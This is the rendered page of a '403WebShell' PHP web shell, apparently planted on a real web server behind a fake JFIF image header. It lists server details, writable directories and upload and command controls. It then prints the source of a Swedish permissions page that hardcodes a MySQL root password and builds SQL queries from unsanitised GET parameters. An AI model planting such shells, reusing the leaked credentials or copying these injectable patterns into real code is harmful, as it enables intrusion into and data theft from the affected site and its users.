????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.135.204.121
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/archive/behorigheter.php
<?php

$projectId = $_GET['projectId'];
$CompanyId = $_SESSION['ASTACUS_SSO_INFO'][4];

$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("vpa");

$sql = "select * from ICADARCHIVEPermissions where SystemUserId = ".$_SESSION['ASTACUS_SSO_INFO'][0];
	
$result = mysql_query($sql);
$be1 = false;
$be2 = false;
$be3 = false;
$be4 = false;
$be5 = false;
$be6 = false;
$be7 = false;
$be8 = false;
$be9 = false;
$be10 = false;
$be11 = false;
while ($row = mysql_fetch_assoc($result)){ 
	if($row['Permission'] == 1){
		$be1 = true;
	}else if($row['Permission'] == 2){
		$be2 = true;	
	}else if($row['Permission'] == 3){
		$be3 = true;	
	}else if($row['Permission'] == 4){
		$be4 = true;	
	}else if($row['Permission'] == 5){
		$be5 = true;	
	}else if($row['Permission'] == 6){
		$be6 = true;	
	}else if($row['Permission'] == 7){
		$be7 = true;	
	}else if($row['Permission'] == 8){
		$be8 = true;	
	}else if($row['Permission'] == 9){
		$be9 = true;	
	}else if($row['Permission'] == 10){
		$be10 = true;	
	}else if($row['Permission'] == 11){
		$be11 = true;	
	}
}
	
	
?>

<link href="../main.css" rel="stylesheet" type="text/css">
<script type="text/javascript" src="calendar.js"></script>
 <script type="text/javascript" src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js"></script>
<script type="text/javascript">
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
 </script>
<body onLoad="showClockSWE();">
<style type="text/css"> 
.ToolText{position:relative; } 
.ToolTextHover{position:relative;} 
.ToolText span{display: none;} 

.ToolTextHover span{ 
 
  display:block; 
  position:absolute; 
  border:1px solid black; 
  top:0em; 
  left:50px; 
  background-color:gray; color:white; 
  text-align: center; 
  width:250px;
  text-decoration:none;
} 
</style>

<style type="text/css">
<!--
.style6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
-->
</style>
<table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="25">&nbsp;</td>
    <td width="964"><table width="820" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td colspan="5" valign="top"><span class="heading2"><?php echo($a1);?></span><br>
          <table width="936" border="0" cellpadding="0" cellspacing="0">
            <tr >
              <td width="76" class="text"><?php echo($a2);?></td>
              <td width="262" class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][1]);?> (<?php echo($_SESSION['ASTACUS_SSO_INFO'][10]);?>) </td>
              <td width="90" class="text"><?php echo($a5);?></td>
              <td width="221" class="text"><span class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][6]);?></span></td>
              <td width="1" rowspan="4" bgcolor="#999999"></td>
              <td width="286" rowspan="4" valign="top" class="textthin"><br>
                <table width="233" border="0" align="right" cellpadding="0" cellspacing="0">
                  <tr>
                    <td width="59" align="left"><span class="heading2"><a href="../customerzon/"><img src="../images/Back-Arrow.jpg" alt="" width="46" height="45" border="0"></a></span></td>
                    <td width="141"><span class="heading2"> Till iCAD Projekt</span></td>
                  </tr>
                </table></td>
            </tr>
            <tr >
              <td class="text"><?php echo($a3);?></td>
              <td class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][2]);?></td>
              <td class="text"><?php echo($a6);?></td>
              <td class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][7]);?></td>
            </tr>
            <tr >
              <td class="text"><?php echo($a4);?></td>
              <td class="textthin"><a href="skype:<?php echo($_SESSION['ASTACUS_SSO_INFO'][11]);?>?call"><img src="http://mystatus.skype.com/smallicon/<?php echo($_SESSION['ASTACUS_SSO_INFO'][11]);?>" alt="My status" width="16" height="16" align="absmiddle" style="border: none;" /></a> <?php echo($_SESSION['ASTACUS_SSO_INFO'][11]);?></td>
              <td class="text"><?php echo($a7);?></td>
              <td class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][8]);?> <?php echo($_SESSION['ASTACUS_SSO_INFO'][9]);?></td>
            </tr>
            <tr class="text">
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
            </tr>
          </table>
          <hr size="1">
          <table width="950" height="64" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr>
              <td valign="top" background="images/tabb4.jpg"><table width="850" height="23" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <td width="5" height="23">&nbsp;</td>
                  <td width="111" valign="bottom" class="blacklink"><div align="center"><a href="?" class="blacklink">Ritningar</a></div></td>
                  <td width="22" valign="bottom" class="blacklink"><div align="center"></div></td>
                  <td width="106" valign="bottom" class="<?php if($be6 == true){echo("blacklink");}else{echo("graylink");}?>"><div align="center"><a href="<?php if($be6 == true){echo("?page=rattigheter");}else{echo("#");}?>" class="<?php if($be6 == true){echo("blacklink");}else{echo("graylink");}?>"></a><a href="<?php if($be10 == true){echo("?page=dokument");}else{echo("#");}?>" class="blacklink">Dokument</a></div></td>
                  <td width="18" valign="bottom" class="blacklink"><div align="center"></div></td>
                  <td width="107" valign="bottom" class="<?php if($be7 == true){echo("blacklink");}else{echo("graylink");}?>"><div align="center"><a href="<?php if($be7 == true){echo("?page=behorigheter");}else{echo("#");}?>" class="<?php if($be7 == true){echo("blacklink");}else{echo("graylink");}?>"></a><a href="<?php if($be6 == true){echo("?page=rattigheter");}else{echo("#");}?>" class="blacklink">R&auml;ttigheter</a></div></td>
                  <td width="22" class="blacklink">&nbsp;</td>
                  <td width="103" valign="bottom" class="<?php if($be8 == true){echo("blacklink");}else{echo("graylink");}?>"><div align="center"><a href="<?php if($be8 == true){echo("?page=installningar");}else{echo("#");}?>" class="<?php if($be8 == true){echo("blacklink");}else{echo("graylink");}?>"></a><a href="<?php if($be7 == true){echo("?page=behorigheter");}else{echo("#");}?>" class="blacklink">Beh&ouml;righeter</a></div></td>
                  <td width="21" class="blacklink">&nbsp;</td>
                  <td width="104" valign="bottom" class="blacklink"><div align="center"><a href="<?php if($be8 == true){echo("?page=installningar");}else{echo("#");}?>" class="blacklink">Inst&auml;llningar</a></div></td>
                  <td width="138" class="blacklink">&nbsp;</td>
                  <td width="23" class="blacklink">&nbsp;</td>
                  <td width="70" class="blacklink">&nbsp;</td>
                </tr>
              </table></td>
            </tr>
          </table>
          <span class="heading2"><br>
          </span>
          <table width="941" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td width="11" height="276" valign="top" class="heading2"><p class="textthin">&nbsp;</p></td>
              <td valign="top" class="heading2">
                <hr size="1">
                Beh&ouml;righeter<br>
                <hr size="1">
                <form name="form1" method="post" action="permissions.php">
                  <span class="text">Ange beh&ouml;righeter f&ouml;r:
                  <select name="SystemUserID" id="jumpMenu" onChange="MM_jumpMenu('parent',this,0)">
                    <?php
					    $sql = "SELECT * FROM SystemUser WHERE CompanyId = $CompanyId";
	 
					$SystemUserID = $_GET['SystemUserID'];
	
	
					$result = mysql_query($sql);
					$d = 0;
					while ($row = mysql_fetch_assoc($result)){ 
					if($SystemUserID == "" && $d == 0 ){
						$SystemUserID = $row['SystemUserId'];	
						$d = 1;
					}
				//	 = $row['SystemUserId'];
				 ?>
                    <option value="?page=behorigheter&SystemUserID=<?php echo($row['SystemUserId']);?>" <?php if($row['SystemUserId'] == $_GET['SystemUserID']){echo("selected");}?>><?php echo($row['Name']);?></option>
                    <?php } ?>
                  
                  
                    
                  </select>
                  </span>
               <?php
			   
			      
                  
					$sql = "SELECT * FROM ICADARCHIVEPermissions WHERE SystemUserId = $SystemUserID";
					$result = mysql_query($sql);
					
					$c1 = 0;
					$c2 = 0;
					$c3 = 0;
					$c4 = 0;
					$c5 = 0;
					$c6 = 0;
					$c7 = 0;
					$c8 = 0;
					$c9 = 0;
					$c10 = 0;
					$c11 = 0;
	
					
					while ($row = mysql_fetch_assoc($result)){ 
						if($row['Permission'] == 1){
							$c1 = 1;
						}else if($row['Permission'] == 2){
							$c2 = 1;
						}else if($row['Permission'] == 3){
							$c3 = 1;
						}else if($row['Permission'] == 4){
							$c4 = 1;
						}else if($row['Permission'] == 5){
							$c5 = 1;
						}else if($row['Permission'] == 6){
							$c6 = 1;
						}else if($row['Permission'] == 7){
							$c7 = 1;
						}else if($row['Permission'] == 8){
							$c8 = 1;
						}else if($row['Permission'] == 9){
							$c9 = 1;
						}else if($row['Permission'] == 10){
							$c10 = 1;
						}else if($row['Permission'] == 11){
							$c11 = 1;
						}
					}
	
	
?><input name="SystemUserID2" type="hidden" value="<?php echo($SystemUserID);?>">
                  <br>
                  <br>
                  <table width="415" border="0" cellspacing="5" cellpadding="0">
                    <tr>
                      <td width="346" class="text">Ladda upp  filer &amp; mappar (inkl. visa mappstruktur)</td>
                      <td width="54"><input name="c1" type="checkbox" id="c1" value="1" <?php if($c1 == 1){echo("checked");}?>>
                        <label for="c1"></label></td>
                    </tr>
                    <tr>
                      <td width="346" class="text">Ta bort filer och mappar</td>
                      <td><input name="c9" type="checkbox" id="c9" value="9" <?php if($c9 == 1){echo("checked");}?>></td>
                    </tr>
                    <tr>
                      <td class="text">Hantera parametrar</td>
                      <td><input name="c2" type="checkbox" id="c2" value="2" <?php if($c2 == 1){echo("checked");}?>></td>
                    </tr>
                    <tr>
                      <td class="text">G&ouml;ra prisf&ouml;rfr&aring;gningar/best&auml;llningar</td>
                      <td><input name="c3" type="checkbox" id="c3" value="3" <?php if($c3 == 1){echo("checked");}?>></td>
                    </tr>
                    <tr>
                      <td class="text">Spara ner originalfil</td>
                      <td><input name="c4" type="checkbox" id="c4" value="4" <?php if($c4 == 1){echo("checked");}?>></td>
                    </tr>
                    <tr>
                      <td class="text">&Auml;ndra r&auml;ttigheter</td>
                      <td><input type="checkbox" name="c6" id="c6" value="6" <?php if($c6 == 1){echo("checked");}?>></td>
                    </tr>
                    <tr>
                      <td class="text">&Auml;ndra beh&ouml;righeter</td>
                      <td><input type="checkbox" name="c7" id="c7" value="7" <?php if($c7 == 1){echo("checked");}?>></td>
                    </tr>
                    <tr>
                      <td class="text">&Auml;ndra Inst&auml;llningar</td>
                      <td><input type="checkbox" name="c8" id="c8" value="8" <?php if($c8 == 1){echo("checked");}?>></td>
                    </tr>
                    <tr>
                      <td class="text">Visa dokument</td>
                      <td><input type="checkbox" name="c10" id="c10" value="10" <?php if($c10 == 1){echo("checked");}?>></td>
                    </tr>
                    <tr>
                      <td class="text">Hantera dokument</td>
                      <td><input type="checkbox" name="c11" id="c11" value="11" <?php if($c11 == 1){echo("checked");}?>></td>
                    </tr>
                    <tr>
                      <td class="text"><input type="submit" name="button" id="button" value="Uppdatera Beh&ouml;righeter"></td>
                      <td>&nbsp;</td>
                    </tr>
                  </table>
                </form>
<br>
<br>                <br></td>
              </tr>
          </table>
          
       

          <hr size="1"></td>
        </tr>
    </table>      
    </td>
    <td width="11">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="3">&nbsp;    </td>
  </tr>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit